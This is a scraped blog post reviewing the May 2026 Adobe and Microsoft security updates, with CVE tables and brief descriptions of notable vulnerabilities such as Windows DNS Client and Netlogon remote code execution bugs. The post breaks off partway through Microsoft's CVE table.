<link>https://tsecurity.de/de/3694568/hacking/the-may-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694568/hacking/the-may-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:56 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I’m currently in Berlin helping set up for Pwn2Own Berlin, but that doesn’t stop Patch Tuesday from coming, and it’s another big one. At least nothing is listed as being in the wild – for now. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. Due to technical difficulties, there will not be a video companion for this month.</p><p class=""><strong>Adobe Patches for May 2026</strong></p><p class="">For May, Adobe released 10 bulletins addressing 52 unique CVEs in Adobe Commerce, After Effects, Adobe Connect, Illustrator, Media Encoder, Premiere Pro, Substance 3D Painter, Substance 3D Sampler, Content Authenticity SDK, and the Adobe Substance 3D Designer. Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/magento/apsb26-49.html" target="_blank">APSB26-49</a></td>
    <td>Adobe Commerce</td>
    <td>15</td>
    <td>Critical</td>
    <td>8.7</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/after_effects/apsb26-48.html" target="_blank">APSB26-48</a></td>
    <td>Adobe After Effects</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/connect/apsb26-50.html" target="_blank">APSB26-50</a></td>
    <td>Adobe Connect</td>
    <td>2</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/illustrator/apsb26-51.html" target="_blank">APSB26-51</a></td>
    <td>Adobe Illustrator</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/media-encoder/apsb26-47.html" target="_blank">APSB26-47</a></td>
    <td>Adobe Media Encoder</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/premiere_pro/apsb26-46.html" target="_blank">APSB26-46</a></td>
    <td>Adobe Premiere Pro</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d_painter/apsb26-55.html" target="_blank">APSB26-55</a></td>
    <td>Adobe Substance 3D Painter</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d-sampler/apsb26-54.html" target="_blank">APSB26-54</a></td>
    <td>Adobe Substance 3D Sampler</td>
    <td>1</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-53.html" target="_blank">APSB26-53</a></td>
    <td>Content Authenticity SDK</td>
    <td>14</td>
    <td>Critical</td>
    <td>7.5</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d_designer/apsb26-52.html" target="_blank">APSB26-52</a></td>
    <td>Adobe Substance 3D Designer</td>
    <td>5</td>
    <td>Important</td>
    <td>6.3</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>10 bulletins</td>
    <td>52</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









  <p class="">The obvious priority this month is the patch for Commerce, with its 15 bugs and deployment priority of 2. The Connect fix should also rank up there since both of its CVEs are CVSS 9s. Beyond those, it’s a pretty typical month for Adobe, with most of the bugs either being cross-site scripting (XSS) or open-and-own code executions.</p><p class=""><strong>Microsoft Patches for May 2026</strong></p><p class="">This month, Microsoft released a whopping 138 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Copilot Chat, Github Copilot, M365 Copilot, SQL Server, TCP/IP, and the Telnet Client – yes, the Telnet client. Two of these bugs were reported through the TrendAI ZDI program. 30 of these bugs are rated Critical, three are rated as Moderate, one is rated Low, and the rest are rated Important in severity.</p><p class="">This large volume of fixes follows the largest monthly release in Microsoft’s history and reflects the trend across the industry of a high number of submissions. While not all of these bugs were found by AI, it’s likely they had an AI-related component – even if it was just AI writing the submission. I should also point out the Pwn2Own Berlin occurs in just a few days, and it’s typical for vendors to patch as much as they can before the event.</p><p class="">None of the bugs patched by Microsoft this month are listed as publicly known or under active attack at the time of release, so we’ve got that going for us. Let’s take a closer look at some of the more interesting updates for this month, starting with a nasty-looking bug in DNS:</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41096"><strong>CVE-2026-41096</strong></a><strong> - Windows DNS Client Remote Code Execution Vulnerability<br></strong>This patch fixes a heap-based buffer overflow in the DNS Client triggered by a malicious DNS response. No authentication or user interaction needed, and since the DNS Client runs on virtually every Windows machine, the attack surface is enormous. An attacker with a position to influence DNS responses (MitM, rogue server) could achieve unauthenticated RCE across your enterprise.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41089"><strong>CVE-2026-41089</strong></a><strong> - Windows Netlogon Remote Code Execution Vulnerability<br></strong>This update covers another CVSS 9.8 bug, which is a stack-based buffer overflow that lets an unauthenticated remote attacker execute code on a domain controller by sending a specially crafted network request — no credentials, no user interaction required. Yup – that makes it wormable. This is the highest-impact bug that requires immediate patching: a compromised domain controller is a compromised domain.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42898"><strong>CVE-2026-42898</strong></a><strong> - Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability<br></strong>This bug rates a CVSS 9.9(!) and represents a code injection in Dynamics 365. It allows any authenticated user to execute code with a scope change, meaning exploitation can break out and affect resources beyond the vulnerable component itself. Scope changes are pretty rare, so if you’re running Dynamics 365 On-Prem, definitely test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40415"><strong>CVE-2026-40415</strong></a><strong> - Windows TCP/IP Remote Code Execution Vulnerability<br></strong>This bug in the TCP/IP stack results from a use-after-free (UAF) and could allow a remote, unauthenticated threat actor to execute code without user interaction. That makes this another wormable bug. However, this one is much less likely to be exploited. The target needs to be under sustained low-memory (memory pressure) conditions, which is pretty rare. Still, no need to tempt fate here. Test and deploy this one quickly.</p><p class="">Here’s the full list of CVEs released by Microsoft for May 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026-May-cvrf.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="920">
 <col width="144">
 <col width="256">
 <col width="104" span="5">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35435"><span>CVE-2026-35435</span></a></td>
  <td width="256" class="xl73">Azure AI Foundry
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35428"><span>CVE-2026-35428</span></a></td>
  <td width="256" class="xl73">Azure Cloud Shell
  Spoofing Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42826"><span>CVE-2026-42826</span></a></td>
  <td width="256" class="xl73">Azure DevOps
  Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">10</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32207"><span>CVE-2026-32207</span></a></td>
  <td width="256" class="xl73">Azure Machine Learning
  Notebook Spoofing Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33109"><span>CVE-2026-33109</span></a></td>
  <td width="256" class="xl73">Azure Managed Instance
  for Apache Cassandra Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33844"><span>CVE-2026-33844</span></a></td>
  <td width="256" class="xl73">Azure Managed Instance
  for Apache Cassandra Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41105"><span>CVE-2026-41105</span></a></td>
  <td width="256" class="xl73">Azure Monitor Action
  Group Notification System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33111"><span>CVE-2026-33111</span></a></td>
  <td width="256" class="xl73">Copilot Chat
  (Microsoft Edge) Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26129"><span>CVE-2026-26129</span></a></td>
  <td width="256" class="xl73">M365 Copilot
  Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26164"><span>CVE-2026-26164</span></a></td>
  <td width="256" class="xl73">M365 Copilot
  Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33821"><span>CVE-2026-33821</span></a></td>
  <td width="256" class="xl73">Microsoft Dynamics 365
  Customer Insights Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42898"><span>CVE-2026-42898</span></a></td>
  <td width="256" class="xl73">Microsoft Dynamics 365
  On-Premises Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40379"><span>CVE-2026-40379</span></a></td>
  <td width="256" class="xl73">Microsoft Enterprise
  Security Token Service (ESTS) Spoofing Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40363"><span>CVE-2026-40363</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40358"><span>CVE-2026-40358</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34327"><span>CVE-2026-34327</span></a></td>
  <td width="256" class="xl73">Microsoft Partner
  Center Spoofing Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40365"><span>CVE-2026-40365</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41103"><span>CVE-2026-41103</span></a></td>
  <td width="256" class="xl73">Microsoft SSO Plugin
  for Jira &amp; Confluence Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33823"><span>CVE-2026-33823</span></a></td>
  <td width="256" class="xl73">Microsoft Team Events
  Portal Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40364"><span>CVE-2026-40364</span></a></td>
  <td width="256" class="xl73">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40366"><span>CVE-2026-40366</span></a></td>
  <td width="256" class="xl73">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40361"><span>CVE-2026-40361</span></a></td>
  <td width="256" class="xl73">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40367"><span>CVE-2026-40367</span></a></td>
  <td width="256" class="xl73">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42831"><span>CVE-2026-42831</span></a></td>
  <td width="256" class="xl73">Office for Android
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41096"><span>CVE-2026-41096</span></a></td>
  <td width="256" class="xl73">Windows DNS Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35421"><span>CVE-2026-35421</span></a></td>
  <td width="256" class="xl73">Windows GDI Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="71">
  <td class="xl67" height="71"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40403"><span>CVE-2026-40403</span></a></td>
  <td width="256" class="xl73">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40402"><span>CVE-2026-40402</span></a></td>
  <td width="256" class="xl73">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32161"><span>CVE-2026-32161</span></a></td>
  <td width="256" class="xl73">Windows Native WiFi
  Miniport Driver Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41089"><span>CVE-2026-41089</span></a></td>
  <td width="256" class="xl73">Windows Netlogon
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32175"><span>CVE-2026-32175</span></a></td>
  <td width="256" class="xl73">.NET Core Tampering
  Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32177"><span>CVE-2026-32177</span></a></td>
  <td width="256" class="xl73">.NET Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35433"><span>CVE-2026-35433</span></a></td>
  <td width="256" class="xl73">.NET Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54518"><span>CVE-2025-54518 *</span></a></td>
  <td width="256" class="xl73">AMD: CVE-2025-54518
  CPU OP Cache Corruption</td>
  <td class="xl70">Important</td>
  <td class="xl69"></td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42899"><span>CVE-2026-42899</span></a></td>
  <td width="256" class="xl73">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40381"><span>CVE-2026-40381</span></a></td>
  <td width="256" class="xl73">Azure Connected
  Machine Agent Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42823"><span>CVE-2026-42823 †</span></a></td>
  <td width="256" class="xl73">Azure Logic Apps
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33833"><span>CVE-2026-33833</span></a></td>
  <td width="256" class="xl73">Azure Machine Learning
  Notebook Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32204"><span>CVE-2026-32204</span></a></td>
  <td width="256" class="xl73">Azure Monitor Agent
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42830"><span>CVE-2026-42830</span></a></td>
  <td width="256" class="xl73">Azure Monitor Agent
  Metrics Extension Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33117"><span>CVE-2026-33117</span></a></td>
  <td width="256" class="xl73">Azure SDK for Java
  Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109"><span>CVE-2026-41109</span></a></td>
  <td width="256" class="xl73">GitHub Copilot and
  Visual Studio Code Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35424"><span>CVE-2026-35424</span></a></td>
  <td width="256" class="xl73">Internet Key Exchange
  (IKE) Protocol Denial of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41614"><span>CVE-2026-41614</span></a></td>
  <td width="256" class="xl73">M365 Copilot for
  Desktop Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41100"><span>CVE-2026-41100</span></a></td>
  <td width="256" class="xl73">Microsoft 365 Copilot
  for Android Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">4.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40377"><span>CVE-2026-40377</span></a></td>
  <td width="256" class="xl73">Microsoft
  Cryptographic Services Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41094"><span>CVE-2026-41094</span></a></td>
  <td width="256" class="xl73">Microsoft Data
  Formulator Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40417"><span>CVE-2026-40417</span></a></td>
  <td width="256" class="xl73">Microsoft Dynamics 365
  Business Central Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42833"><span>CVE-2026-42833</span></a></td>
  <td width="256" class="xl73">Microsoft Dynamics 365
  On-Premises Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42838"><span>CVE-2026-42838</span></a></td>
  <td width="256" class="xl73">Microsoft Edge
  (Chromium-based) Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40360"><span>CVE-2026-40360</span></a></td>
  <td width="256" class="xl73">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40359"><span>CVE-2026-40359</span></a></td>
  <td width="256" class="xl73">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40362"><span>CVE-2026-40362</span></a></td>
  <td width="256" class="xl73">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42832"><span>CVE-2026-42832</span></a></td>
  <td width="256" class="xl73">Microsoft Excel
  Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.7</td>
  <td class="xl69">No</td>
